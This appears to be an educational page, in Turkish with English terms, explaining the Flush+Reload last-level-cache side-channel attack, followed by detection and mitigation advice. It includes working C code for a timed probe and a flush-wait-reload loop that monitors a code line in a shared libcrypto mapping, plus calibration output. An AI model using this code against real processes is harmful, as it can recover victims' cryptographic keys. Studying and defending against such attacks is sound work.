Skip to content

Flush+Reload

Bir shared cache line'ın reload süresini ölç ve victim'ın ona dokunup dokunmadığını öğren — high-resolution, low-noise bir last-level-cache side channel.

Mechanism

Neden çalışır

Modern bir CPU'nun last-level cache'i (LLC) core'lar arasında inclusive ve shared'tir. Aynı physical page'i map'leyen iki process (bir shared library, bir memory-mapped file, bir deduplicated page) o page için aynı cache line'ları paylaşır. clflush bir line'ı sadece local core'dan değil, tüm cache hierarchy'sinden evict eder. Böylece attacker şunu yapabilir:

  1. Seçtiği bir line'ı LLC'den flush'lar (öyle ki her core onda miss eder).
  2. Victim çalışırken bekler.
  3. Line'ı reload eder ve access'i time'lar.

Hızlı bir reload (~50–100 cycle) line'ın cache'ten geldiği anlamına gelir — biri onu geri getirdi, yani victim ona access etti. Yavaş bir reload (~200–300+ cycle) DRAM'den fetch edildiğini gösterir — victim ona dokunmadı. Suistimal edilen invariant: cache state, başka bir process'in memory access'lerinin shared, gözlemlenebilir bir side effect'idir.

Sinyal keskindir çünkü LLC'yi hedefler (cross-core görünür) ve clflush kullanır, bu da çok az gürültüyle temiz bir flushed→reloaded geçişi sağlar — işte bu yüzden "high resolution, low noise". Ünlü bir örnekte, square/multiply code line'larını izleyerek tek bir GnuPG imzalama turunda bir RSA private key'inin >%98'ini recover eder.

Walkthrough

İki primitive, doğru bir timer (rdtsc/rdtscp) ve clflush'tır.

// gcc -O2 flushreload.c -o fr   (x86-64)
#include <stdint.h>
#include <x86intrin.h>   // __rdtscp, _mm_clflush

static inline uint64_t probe(const void *addr) {
    unsigned aux;
    uint64_t t0 = __rdtscp(&aux);          // serialized read of TSC
    (void)*(volatile char *)addr;          // the timed access
    uint64_t t1 = __rdtscp(&aux);
    _mm_clflush(addr);                      // flush for the next round
    return t1 - t0;                         // cycles
}

Bir victim'ı monitor etmek için, victim'ın da map'lediği shared object'i mmap'le (böylece physical page — ve onun cache line'ları — shared olur), ilgilendiğin line'ı seç ve flush → wait → reload loop'la:

int fd = open("/usr/lib/x86_64-linux-gnu/libcrypto.so.3", O_RDONLY);
size_t len = lseek(fd, 0, SEEK_END);
char *base = mmap(NULL, len, PROT_READ, MAP_SHARED, fd, 0);  // shared mapping

char *target = base + OFFSET_OF_SQUARE_FUNC;  // a code line in the victim path
for (;;) {
    _mm_clflush(target);
    nanosleep(&slot, NULL);        // give the victim a time slot to run
    uint64_t t = probe(target);    // fast => victim executed that line
    if (t < THRESHOLD) record_hit();
}

Önce THRESHOLD'u kalibre et — cached ve uncached reload sürelerini örnekle ve iki tepe arasındaki vadiyi seç:

$ ./fr --calibrate
cached   reload: ~78 cycles (P50)
uncached reload: ~255 cycles (P50)
threshold chosen: 150 cycles
Bir kalibrasyon koşusundan histogram (collapsed)
cycles  count
 64 ████████████████████ 4021     <- L1/L2/LLC hit (victim touched it)
 80 ███████████ 2210
...
240 █████ 980                      <- DRAM (victim did not touch it)
272 ████████ 1500
threshold = 150  (the valley)

Channel bu kadar temiz olduğu için, monitor edilen line'ların bir dizisi (örneğin square, reduce ve multiply routine'leri) victim'ın control-flow trace'ini ve dolayısıyla secret-dependent branch'leri yeniden inşa eder.

Detection

  • HPC monitoring: anormal derecede yüksek cache-misses / LLC-load-misses ve yoğun clflush retirement. Şüpheli bir process üzerinde perf stat -e cache-misses,L1-dcache-load-misses bu dengesizliği gösterir.
  • Sıkı rdtsc+clflush loop'ları güçlü bir behavioral signature'dır; bazı EDR/CPU özellikleri (örneğin Intel PMU tabanlı detector'lar) bunları işaretler.

Mitigation

  • Secret-dependent code/data'nın memory sharing'inden kaçın (trust boundary'ler boyunca page dedup / KSM'yi disable et; MADV_UNMERGEABLE).
  • Constant-time code: hiçbir secret-dependent memory address veya branch yok, böylece access edilen cache line'lar secret'tan bağımsız olur.
  • Sandbox'larda clflush / high-resolution timer'ları kısıtla (örneğin browser'lar Spectre sonrası performance.now()'u kabalaştırdı ve SharedArrayBuffer timer'larını kaldırdı).

References